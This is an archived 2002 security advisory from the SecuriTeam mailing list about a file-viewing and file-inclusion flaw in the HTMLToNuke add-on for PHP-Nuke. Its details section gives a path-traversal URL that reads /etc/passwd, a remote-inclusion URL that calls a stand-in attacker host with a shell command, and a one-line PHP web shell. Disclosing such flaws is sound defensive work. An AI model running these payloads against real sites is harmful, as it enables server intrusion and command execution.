[UNIX] PHP-Nuke-Add-on Allows Viewing of Arbitrary Files (HTMLToNuke)

From: support@securiteam.com
Date: 02/06/02


From: support@securiteam.com
To: list@securiteam.com
Date: Wed,  6 Feb 2002 15:36:07 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  PHP-Nuke-Add-on Allows Viewing of Arbitrary Files (HTMLToNuke)
------------------------------------------------------------------------

SUMMARY

 
<http://www.toms-home.com/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=4&ttitle=HtmltoNuke> HTMLToNuke lets you re-use you old plain html and integrate it into your PHP Nuke site. A security vulnerability in the product allows attackers to view arbitrary files, and possibly execute arbitrary files.

DETAILS

Example:
http://www.example.com/htmltonuke.php?filnavn=../../../../etc/passwd

In newer versions where a check has been added to test for the existence
of '../' and similar characters, it is still possible to cause the program
to include external files, even ones that allow execution of commands. For
example:
http://www.example.com/htmltonuke.php?filnavn=http://attacker/attack.php&cmd=ls%20-al

Where attack.php contains:
<?php
system($cmd);
?>

ADDITIONAL INFORMATION

The information has been provided by <mailto:Admin@ZeroSecurity.de>
ZeroSecurity, digitalmouse, and <experts@securiteam.com> SecurITeam
Experts.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages